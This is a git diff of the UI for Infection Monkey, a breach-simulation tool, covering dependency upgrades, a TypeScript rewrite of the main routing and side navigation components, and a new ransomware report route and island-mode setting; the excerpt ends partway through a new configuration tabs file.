@@ -18195,7 +23117,8 @@
"word-wrap": {
"version": "1.2.3",
"resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz",
- "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ=="
+ "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==",
+ "dev": true
},
"worker-farm": {
"version": "1.7.0",
@@ -18210,6 +23133,7 @@
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
"integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
+ "dev": true,
"requires": {
"ansi-styles": "^3.2.0",
"string-width": "^3.0.0",
@@ -18219,17 +23143,20 @@
"ansi-regex": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg=="
+ "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
+ "dev": true
},
"is-fullwidth-code-point": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
+ "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
+ "dev": true
},
"string-width": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
"integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
+ "dev": true,
"requires": {
"emoji-regex": "^7.0.1",
"is-fullwidth-code-point": "^2.0.0",
@@ -18240,6 +23167,7 @@
"version": "5.2.0",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
"integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+ "dev": true,
"requires": {
"ansi-regex": "^4.1.0"
}
@@ -18249,7 +23177,8 @@
"wrappy": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
- "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
+ "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=",
+ "dev": true
},
"write": {
"version": "1.0.3",
@@ -18264,6 +23193,7 @@
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
"integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
+ "dev": true,
"requires": {
"imurmurhash": "^0.1.4",
"is-typedarray": "^1.0.0",
@@ -18283,12 +23213,23 @@
"xdg-basedir": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-4.0.0.tgz",
- "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q=="
+ "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==",
+ "dev": true
+ },
+ "xml-js": {
+ "version": "1.6.11",
+ "resolved": "https://registry.npmjs.org/xml-js/-/xml-js-1.6.11.tgz",
+ "integrity": "sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==",
+ "dev": true,
+ "requires": {
+ "sax": "^1.2.4"
+ }
},
"xml2js": {
"version": "0.4.23",
"resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.4.23.tgz",
"integrity": "sha512-ySPiMjM0+pLDftHgXY4By0uswI3SPKLDw/i3UXbnO8M/p28zqexCUoPmQFrYD+/1BzhGJSs2i1ERWKJAtiLrug==",
+ "dev": true,
"requires": {
"sax": ">=0.6.0",
"xmlbuilder": "~11.0.0"
@@ -18297,21 +23238,14 @@
"xmlbuilder": {
"version": "11.0.1",
"resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz",
- "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA=="
- },
- "xregexp": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-4.3.0.tgz",
- "integrity": "sha512-7jXDIFXh5yJ/orPn4SXjuVrWWoi4Cr8jfV1eHv9CixKSbU+jY4mxfrBwAuDvupPNKpMUY+FeIqsVw/JLT9+B8g==",
- "dev": true,
- "requires": {
- "@babel/runtime-corejs3": "^7.8.3"
- }
+ "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==",
+ "dev": true
},
"xtend": {
"version": "4.0.2",
"resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
- "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="
+ "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
+ "dev": true
},
"y18n": {
"version": "4.0.0",
@@ -18322,15 +23256,13 @@
"yallist": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI="
+ "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=",
+ "dev": true
},
"yaml": {
- "version": "1.9.2",
- "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.9.2.tgz",
- "integrity": "sha512-HPT7cGGI0DuRcsO51qC1j9O16Dh1mZ2bnXwsi0jrSpsLz0WxOLSLXfkABVl6bZO629py3CU+OMJtpNHDLB97kg==",
- "requires": {
- "@babel/runtime": "^7.9.2"
- }
+ "version": "1.10.2",
+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
+ "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="
},
"yargs": {
"version": "13.3.2",
@@ -18410,6 +23342,12 @@
"dev": true
}
}
+ },
+ "zwitch": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz",
+ "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==",
+ "dev": true
}
}
}
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 1cc781c03..72cafa72e 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -1,6 +1,6 @@
{
"private": true,
- "version": "1.10.0",
+ "version": "1.11.0",
"name": "infection-monkey",
"description": "Infection Monkey C&C UI",
"scripts": {
@@ -27,85 +27,93 @@
"not dead"
],
"devDependencies": {
- "@babel/cli": "^7.8.4",
- "@babel/core": "^7.9.6",
- "@babel/plugin-proposal-class-properties": "^7.8.3",
- "@babel/plugin-transform-runtime": "^7.9.6",
- "@babel/preset-env": "^7.9.6",
- "@babel/preset-react": "^7.9.0",
- "@babel/runtime": "^7.9.6",
+ "npm": "^6.14.8",
+ "@babel/cli": "^7.12.1",
+ "@babel/core": "^7.12.3",
+ "@babel/plugin-proposal-class-properties": "^7.12.1",
+ "@babel/plugin-transform-runtime": "^7.12.1",
+ "@babel/preset-env": "^7.12.1",
+ "@babel/preset-react": "^7.12.5",
+ "@babel/runtime": "^7.12.5",
+ "@types/jest": "^26.0.15",
+ "@types/node": "^14.14.11",
+ "@types/react": "^16.14.2",
+ "@types/react-dom": "^16.9.9",
"babel-eslint": "^10.1.0",
- "babel-loader": "^8.0.0",
- "css-loader": "^3.5.0",
+ "babel-loader": "^8.2.1",
+ "copyfiles": "^2.4.0",
+ "css-loader": "^3.6.0",
"eslint": "^6.8.0",
"eslint-loader": "^4.0.1",
- "eslint-plugin-react": "^7.19.0",
+ "eslint-plugin-react": "^7.21.5",
"file-loader": "^1.1.11",
"glob": "^7.1.6",
"html-loader": "^0.5.5",
"html-webpack-plugin": "^3.2.0",
"minimist": "^1.2.5",
+ "node-sass": "^4.14.1",
"null-loader": "^0.1.1",
"react-addons-test-utils": "^15.6.2",
"rimraf": "^2.7.1",
- "style-loader": "^0.22.1",
- "copyfiles": "^2.2.0",
- "url-loader": "^1.1.2",
"sass-loader": "^7.3.1",
- "node-sass": "^4.14.1",
- "webpack": "^4.43.0",
- "webpack-cli": "^3.3.11",
- "stylelint": "^13.3.3",
+ "snyk": "^1.434.4",
+ "style-loader": "^0.22.1",
+ "stylelint": "^13.7.2",
+ "ts-loader": "^8.0.11",
+ "typescript": "^4.1.2",
+ "url-loader": "^1.1.2",
+ "webpack": "^4.44.2",
+ "webpack-cli": "^3.3.12",
"webpack-dev-server": "^3.11.0"
},
"dependencies": {
- "@emotion/core": "^10.0.34",
- "@fortawesome/fontawesome-svg-core": "^1.2.29",
- "@fortawesome/free-regular-svg-icons": "^5.13.1",
- "@fortawesome/free-solid-svg-icons": "^5.13.1",
- "@fortawesome/react-fontawesome": "^0.1.11",
+ "@emotion/core": "^10.1.1",
+ "@fortawesome/fontawesome-svg-core": "^1.2.32",
+ "@fortawesome/free-regular-svg-icons": "^5.15.1",
+ "@fortawesome/free-solid-svg-icons": "^5.15.1",
+ "@fortawesome/react-fontawesome": "^0.1.12",
"@kunukn/react-collapse": "^1.2.7",
- "bootstrap": "^4.5.2",
+ "@types/react-router-dom": "^5.1.8",
+ "bootstrap": "^4.5.3",
"classnames": "^2.2.6",
- "core-js": "^3.6.5",
+ "core-js": "^3.7.0",
"d3": "^5.14.1",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"file-saver": "^2.0.2",
- "filepond": "^4.19.2",
+ "filepond": "^4.23.1",
"jwt-decode": "^2.2.0",
"lodash": "^4.17.20",
"marked": "^2.0.0",
"normalize.css": "^8.0.0",
- "npm": "^6.14.7",
"pluralize": "^7.0.0",
"prop-types": "^15.7.2",
"rainge": "^1.0.1",
"rc-progress": "^2.6.1",
- "react": "^16.12.0",
- "react-bootstrap": "^1.3.0",
+ "react": "^16.14.0",
+ "react-bootstrap": "^1.4.0",
"react-copy-to-clipboard": "^5.0.2",
"react-data-components": "^1.2.0",
"react-desktop-notification": "^1.0.9",
"react-dimensions": "^1.3.0",
- "react-dom": "^16.12.0",
+ "react-dom": "^16.14.0",
"react-event-timeline": "^1.6.3",
"react-fa": "^5.0.0",
- "react-filepond": "^7.0.1",
+ "react-filepond": "^7.1.0",
"react-graph-vis": "^1.0.5",
- "react-hot-loader": "^4.12.20",
- "react-json-tree": "^0.12.0",
+ "react-hot-loader": "^4.13.0",
+ "react-json-tree": "^0.12.1",
"react-jsonschema-form-bs4": "^1.7.1",
- "react-particles-js": "^3.3.0",
+ "react-particles-js": "^3.4.1",
"react-redux": "^5.1.2",
- "react-router-dom": "^4.3.1",
+ "react-router-dom": "^5.2.0",
"react-spinners": "^0.9.0",
"react-table": "^6.10.3",
"react-toggle": "^4.1.1",
"react-tooltip-lite": "^1.12.0",
"redux": "^4.0.4",
"sha3": "^2.1.3",
- "snyk": "^1.373.1"
+ "source-map-loader": "^1.1.2"
},
"snyk": true
}
diff --git a/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx
new file mode 100644
index 000000000..1c9571011
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx
@@ -0,0 +1,35 @@
+import AuthComponent from "./AuthComponent";
+import React from "react";
+
+export class Response{
+ body: any
+ status: number
+
+ constructor(body: any, status: number) {
+ this.body = body
+ this.status = status
+ }
+}
+
+class IslandHttpClient extends AuthComponent {
+ post(endpoint: string, contents: any): Promise{
+ let status = null;
+ return this.authFetch(endpoint,
+ {
+ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify(contents)
+ })
+ .then(res => {status = res.status; return res.json()})
+ .then(res => new Response(res, status));
+ }
+
+ get(endpoint: string): Promise{
+ let status = null;
+ return this.authFetch(endpoint)
+ .then(res => {status = res.status; return res.json()})
+ .then(res => new Response(res, status));
+ }
+}
+
+export default new IslandHttpClient();
diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
deleted file mode 100644
index 32480db8e..000000000
--- a/monkey/monkey_island/cc/ui/src/components/Main.js
+++ /dev/null
@@ -1,208 +0,0 @@
-import React from 'react';
-import {BrowserRouter as Router, Redirect, Route, Switch} from 'react-router-dom';
-import {Container} from 'react-bootstrap';
-
-import RunServerPage from 'components/pages/RunServerPage';
-import ConfigurePage from 'components/pages/ConfigurePage';
-import RunMonkeyPage from 'components/pages/RunMonkeyPage/RunMonkeyPage';
-import MapPage from 'components/pages/MapPage';
-import TelemetryPage from 'components/pages/TelemetryPage';
-import StartOverPage from 'components/pages/StartOverPage';
-import ReportPage from 'components/pages/ReportPage';
-import LicensePage from 'components/pages/LicensePage';
-import AuthComponent from 'components/AuthComponent';
-import LoginPageComponent from 'components/pages/LoginPage';
-import RegisterPageComponent from 'components/pages/RegisterPage';
-import Notifier from 'react-desktop-notification';
-import NotFoundPage from 'components/pages/NotFoundPage';
-
-
-import 'normalize.css/normalize.css';
-import 'react-data-components/css/table-twbs.css';
-import 'styles/App.css';
-import 'react-toggle/style.css';
-import 'react-table/react-table.css';
-import notificationIcon from '../images/notification-logo-512x512.png';
-import {StandardLayoutComponent} from './layouts/StandardLayoutComponent';
-import LoadingScreen from './ui-components/LoadingScreen';
-
-const reportZeroTrustRoute = '/report/zeroTrust';
-
-class AppComponent extends AuthComponent {
- updateStatus = () => {
- if (this.state.isLoggedIn === false) {
- return
- }
- this.auth.loggedIn()
- .then(res => {
- if (this.state.isLoggedIn !== res) {
- this.setState({
- isLoggedIn: res
- });
- }
-
- if (!res) {
- this.auth.needsRegistration()
- .then(result => {
- this.setState({
- needsRegistration: result
- });
- })
- }
-
- if (res) {
- this.authFetch('/api')
- .then(res => res.json())
- .then(res => {
- // This check is used to prevent unnecessary re-rendering
- let isChanged = false;
- for (let step in this.state.completedSteps) {
- if (this.state.completedSteps[step] !== res['completed_steps'][step]) {
- isChanged = true;
- break;
- }
- }
- if (isChanged) {
- this.setState({completedSteps: res['completed_steps']});
- this.showInfectionDoneNotification();
- }
- });
- }
- });
- };
-
- renderRoute = (route_path, page_component, is_exact_path = false) => {
- let render_func = () => {
- switch (this.state.isLoggedIn) {
- case true:
- return page_component;
- case false:
- switch (this.state.needsRegistration) {
- case true:
- return
- case false:
- return ;
- default:
- return ;
- }
- default:
- return ;
- }
- };
-
- if (is_exact_path) {
- return ;
- } else {
- return ;
- }
- };
-
- redirectTo = (userPath, targetPath) => {
- let pathQuery = new RegExp(userPath + '[/]?$', 'g');
- if (window.location.pathname.match(pathQuery)) {
- return
- }
- };
-
- constructor(props) {
- super(props);
- this.state = {
- completedSteps: {
- run_server: true,
- run_monkey: false,
- infection_done: false,
- report_done: false,
- isLoggedIn: undefined,
- needsRegistration: undefined
- },
- noAuthLoginAttempted: undefined
- };
- }
-
- componentDidMount() {
- this.updateStatus();
- this.interval = setInterval(this.updateStatus, 10000);
- }
-
- componentWillUnmount() {
- clearInterval(this.interval);
- }
-
- render() {
- return (
-
-
-
- ()}/>
- ()}/>
- {this.renderRoute('/',
- ,
- true)}
- {this.renderRoute('/configure',
- )}
- {this.renderRoute('/run-monkey',
- )}
- {this.renderRoute('/infection/map',
- )}
- {this.renderRoute('/infection/telemetry',
- )}
- {this.renderRoute('/start-over',
- )}
- {this.redirectTo('/report', '/report/security')}
- {this.renderRoute('/report/security',
- )}
- {this.renderRoute('/report/attack',
- )}
- {this.renderRoute('/report/zeroTrust',
- )}
- {this.renderRoute('/license',
- )}
-
-
-
-
- );
- }
-
- showInfectionDoneNotification() {
- if (this.shouldShowNotification()) {
- const hostname = window.location.hostname;
- const port = window.location.port;
- const protocol = window.location.protocol;
- const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`;
-
- Notifier.start(
- 'Monkey Island',
- 'Infection is done! Click here to go to the report page.',
- url,
- notificationIcon);
- }
- }
-
- shouldShowNotification() {
- // No need to show the notification to redirect to the report if we're already in the report page
- return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith('/report'));
- }
-}
-
-AppComponent.defaultProps = {};
-
-export default AppComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx
new file mode 100644
index 000000000..65ecfc6be
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx
@@ -0,0 +1,298 @@
+import React from 'react';
+import {BrowserRouter as Router, Redirect, Route, Switch} from 'react-router-dom';
+import {Container} from 'react-bootstrap';
+
+import ConfigurePage from './pages/ConfigurePage.js';
+import RunMonkeyPage from './pages/RunMonkeyPage/RunMonkeyPage';
+import MapPage from './pages/MapPage';
+import TelemetryPage from './pages/TelemetryPage';
+import StartOverPage from './pages/StartOverPage';
+import ReportPage from './pages/ReportPage';
+import LicensePage from './pages/LicensePage';
+import AuthComponent from './AuthComponent';
+import LoginPageComponent from './pages/LoginPage';
+import RegisterPageComponent from './pages/RegisterPage';
+import LandingPage from "./pages/LandingPage";
+import Notifier from 'react-desktop-notification';
+import NotFoundPage from './pages/NotFoundPage';
+import GettingStartedPage from './pages/GettingStartedPage';
+
+
+import 'normalize.css/normalize.css';
+import 'react-data-components/css/table-twbs.css';
+import 'styles/App.css';
+import 'react-toggle/style.css';
+import 'react-table/react-table.css';
+import LoadingScreen from './ui-components/LoadingScreen';
+import SidebarLayoutComponent from "./layouts/SidebarLayoutComponent";
+import {CompletedSteps} from "./side-menu/CompletedSteps";
+import Timeout = NodeJS.Timeout;
+import IslandHttpClient from "./IslandHttpClient";
+import _ from "lodash";
+import {FontAwesomeIcon} from "@fortawesome/react-fontawesome";
+import {faFileCode, faLightbulb} from "@fortawesome/free-solid-svg-icons";
+
+
+let notificationIcon = require('../images/notification-logo-512x512.png');
+
+export const Routes = {
+ LandingPage: '/landing-page',
+ GettingStartedPage: '/',
+ Report: '/report',
+ AttackReport: '/report/attack',
+ ZeroTrustReport: '/report/zeroTrust',
+ SecurityReport: '/report/security',
+ RansomwareReport: '/report/ransomware',
+ LoginPage: '/login',
+ RegisterPage: '/register',
+ ConfigurePage: '/configure',
+ RunMonkeyPage: '/run-monkey',
+ MapPage: '/infection/map',
+ TelemetryPage: '/infection/telemetry',
+ StartOverPage: '/start-over',
+ LicensePage: '/license'
+}
+
+export function isReportRoute(route){
+ return route.startsWith(Routes.Report);
+}
+
+class AppComponent extends AuthComponent {
+ private interval: Timeout;
+
+ constructor(props) {
+ super(props);
+ let completedSteps = new CompletedSteps(false);
+ this.state = {
+ loading: true,
+ completedSteps: completedSteps,
+ islandMode: undefined,
+ noAuthLoginAttempted: undefined
+ };
+ this.interval = undefined;
+ this.setMode();
+ }
+
+ updateStatus = () => {
+ if (this.state.isLoggedIn === false) {
+ return
+ }
+ this.auth.loggedIn()
+ .then(res => {
+ if (this.state.isLoggedIn !== res) {
+ this.setState({
+ isLoggedIn: res
+ });
+ }
+
+ if (!res) {
+ this.auth.needsRegistration()
+ .then(result => {
+ this.setState({
+ needsRegistration: result
+ });
+ })
+ }
+
+ if (res) {
+ this.setMode()
+ .then(() => {
+ if (this.state.islandMode === null) {
+ return
+ }
+ this.authFetch('/api')
+ .then(res => res.json())
+ .then(res => {
+ let completedSteps = CompletedSteps.buildFromResponse(res.completed_steps);
+ // This check is used to prevent unnecessary re-rendering
+ if (_.isEqual(this.state.completedSteps, completedSteps)) {
+ return;
+ }
+ this.setState({completedSteps: completedSteps});
+ this.showInfectionDoneNotification();
+ });
+ }
+ )
+
+ }
+ });
+ };
+
+ setMode = () => {
+ return IslandHttpClient.get('/api/island-mode')
+ .then(res => {
+ this.setState({islandMode: res.body.mode});
+ });
+ }
+
+ renderRoute = (route_path, page_component, is_exact_path = false) => {
+ let render_func = () => {
+ switch (this.state.isLoggedIn) {
+ case true:
+ if (this.needsRedirectionToLandingPage(route_path)) {
+ return
+ } else if (this.needsRedirectionToGettingStarted(route_path)) {
+ return
+ }
+ return page_component;
+ case false:
+ switch (this.state.needsRegistration) {
+ case true:
+ return
+ case false:
+ return ;
+ default:
+ return ;
+ }
+ default:
+ return ;
+ }
+ };
+
+ if (is_exact_path) {
+ return ;
+ } else {
+ return ;
+ }
+ };
+
+ needsRedirectionToLandingPage = (route_path) => {
+ return (this.state.islandMode === null && route_path !== Routes.LandingPage)
+ }
+
+ needsRedirectionToGettingStarted = (route_path) => {
+ return route_path === Routes.LandingPage &&
+ this.state.islandMode !== null && this.state.islandMode !== undefined
+ }
+
+ redirectTo = (userPath, targetPath) => {
+ let pathQuery = new RegExp(userPath + '[/]?$', 'g');
+ if (window.location.pathname.match(pathQuery)) {
+ return
+ }
+ };
+
+ componentDidMount() {
+ this.updateStatus();
+ this.interval = setInterval(this.updateStatus, 10000);
+ }
+
+ componentWillUnmount() {
+ clearInterval(this.interval);
+ }
+
+ getDefaultReport() {
+ if(this.state.islandMode === 'ransomware'){
+ return Routes.RansomwareReport;
+ } else {
+ return Routes.SecurityReport;
+ }
+ }
+
+ getIslandModeTitle(){
+ if(this.state.islandMode === 'ransomware'){
+ return this.formIslandModeTitle("Ransomware", faFileCode);
+ } else {
+ return this.formIslandModeTitle("Custom", faLightbulb);
+ }
+ }
+
+ formIslandModeTitle(title, icon){
+ return (<>
+
+ {title}
+
+ >)
+ }
+
+ render() {
+
+ let defaultSideNavProps = {completedSteps: this.state.completedSteps,
+ onStatusChange: this.updateStatus,
+ islandMode: this.state.islandMode,
+ defaultReport: this.getDefaultReport(),
+ sideNavHeader: this.getIslandModeTitle()}
+
+ return (
+
+
+
+ ()}/>
+ ()}/>
+ {this.renderRoute(Routes.LandingPage,
+ )}
+ {this.renderRoute(Routes.GettingStartedPage,
+ ,
+ true)}
+ {this.renderRoute(Routes.ConfigurePage,
+ )}
+ {this.renderRoute(Routes.RunMonkeyPage,
+ )}
+ {this.renderRoute(Routes.MapPage,
+ )}
+ {this.renderRoute(Routes.TelemetryPage,
+ )}
+ {this.renderRoute(Routes.StartOverPage,
+ )}
+ {this.redirectToReport()}
+ {this.renderRoute(Routes.SecurityReport,
+ )}
+ {this.renderRoute(Routes.AttackReport,
+ )}
+ {this.renderRoute(Routes.ZeroTrustReport,
+ )}
+ {this.renderRoute(Routes.RansomwareReport,
+ )}
+ {this.renderRoute(Routes.LicensePage,
+ )}
+
+
+
+
+ );
+ }
+
+ redirectToReport() {
+ if (this.state.islandMode === 'ransomware') {
+ return this.redirectTo(Routes.Report, Routes.RansomwareReport)
+ } else {
+ return this.redirectTo(Routes.Report, Routes.SecurityReport)
+ }
+ }
+
+ showInfectionDoneNotification() {
+ if (this.shouldShowNotification()) {
+ const hostname = window.location.hostname;
+ const port = window.location.port;
+ const protocol = window.location.protocol;
+ const url = `${protocol}//${hostname}:${port}${Routes.ZeroTrustReport}`;
+
+ Notifier.start(
+ 'Monkey Island',
+ 'Infection is done! Click here to go to the report page.',
+ url,
+ notificationIcon);
+ }
+ }
+
+ shouldShowNotification() {
+ // No need to show the notification to redirect to the report if we're already in the report page
+ return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith(Routes.Report));
+ }
+}
+
+export default AppComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.js b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.js
deleted file mode 100644
index c260da2bf..000000000
--- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.js
+++ /dev/null
@@ -1,92 +0,0 @@
-import React from 'react';
-import {NavLink} from 'react-router-dom';
-import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
-import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck';
-import {faUndo} from '@fortawesome/free-solid-svg-icons/faUndo';
-import {faExternalLinkAlt} from '@fortawesome/free-solid-svg-icons';
-import guardicoreLogoImage from '../images/guardicore-logo.png';
-import logoImage from '../images/monkey-icon.svg';
-import infectionMonkeyImage from '../images/infection-monkey.svg';
-import VersionComponent from './side-menu/VersionComponent';
-import '../styles/components/SideNav.scss';
-
-
-class SideNavComponent extends React.Component {
-
- render() {
- return (
- <>
-
-
-
-
-
-
-
-
-
-
- 1.
- Run Monkey
- {this.props.completedSteps.run_monkey ?
-
- : ''}
-
-
-
-
- 2.
- Infection Map
- {this.props.completedSteps.infection_done ?
-
- : ''}
-
-
-
- {
- return (location.pathname === '/report/attack'
- || location.pathname === '/report/zeroTrust'
- || location.pathname === '/report/security')
- }}>
- 3.
- Security Reports
- {this.props.completedSteps.report_done ?
-
- : ''}
-
-
-
-
-
- Start Over
-
-
-
-
-
-
-
-
-
-
Powered by
-
-
-
-
-
-
- >)
- }
-}
-
-export default SideNavComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx
new file mode 100644
index 000000000..6caa6617b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx
@@ -0,0 +1,110 @@
+import React, {ReactFragment} from 'react';
+import {NavLink} from 'react-router-dom';
+import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
+import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck';
+import {faUndo} from '@fortawesome/free-solid-svg-icons/faUndo';
+import '../styles/components/SideNav.scss';
+import {CompletedSteps} from "./side-menu/CompletedSteps";
+import {isReportRoute, Routes} from "./Main";
+
+
+const logoImage = require('../images/monkey-icon.svg');
+const infectionMonkeyImage = require('../images/infection-monkey.svg');
+
+import Logo from "./logo/LogoComponent";
+
+type Props = {
+ disabled?: boolean,
+ completedSteps: CompletedSteps,
+ defaultReport: string,
+ header?: ReactFragment
+}
+
+
+const SideNavComponent = ({disabled,
+ completedSteps,
+ defaultReport,
+ header=null}: Props) => {
+
+ return (
+ <>
+
+
+
+
+
+
+
+
+ {(header !== null) &&
+ <>
+
+ {header}
+
+
+ >}
+
+
+
+ 1.
+ Run Monkey
+ {completedSteps.runMonkey ?
+
+ : ''}
+
+
+
+
+ 2.
+ Infection Map
+ {completedSteps.infectionDone ?
+
+ : ''}
+
+
+
+ {
+ return (isReportRoute(location.pathname))
+ }}>
+ 3.
+ Security Reports
+ {completedSteps.reportDone ?
+
+ : ''}
+
+
+
+
+
+ Start Over
+
+
+
+
+
+
+
+ Configuration
+
+
+ Logs
+
+
+
+
+ >);
+
+ function getNavLinkClass() {
+ if(disabled){
+ return `nav-link disabled`
+ } else {
+ return ''
+ }
+ }
+}
+
+export default SideNavComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
index 95820b82f..7d6b3b10b 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
@@ -14,7 +14,9 @@ export function renderMachineFromSystemData(data) {
machineStr = data['hostname'] + ' ( ';
}
data['ips'].forEach(function (ipInfo) {
- if (typeof ipInfo === 'object') {
+ if (ipInfo instanceof Array) {
+ machineStr += ipInfo.join(', ') + ', ';
+ } else if (typeof ipInfo === 'object') {
machineStr += ipInfo['addr'] + ', ';
} else {
machineStr += ipInfo + ', ';
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js
new file mode 100644
index 000000000..7701959cf
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ConfigurationTabs.js
@@ -0,0 +1,30 @@
+const CONFIGURATION_TABS = {
+ ATTACK: 'attack',
+ BASIC: 'basic',
+ BASIC_NETWORK: 'basic_network',
+ RANSOMWARE: 'ransomware',
+ MONKEY: 'monkey',
+ INTERNAL: 'internal'
+};
+
+const advancedModeConfigTabs = [
+ CONFIGURATION_TABS.ATTACK,
+ CONFIGURATION_TABS.BASIC,
+ CONFIGURATION_TABS.BASIC_NETWORK,
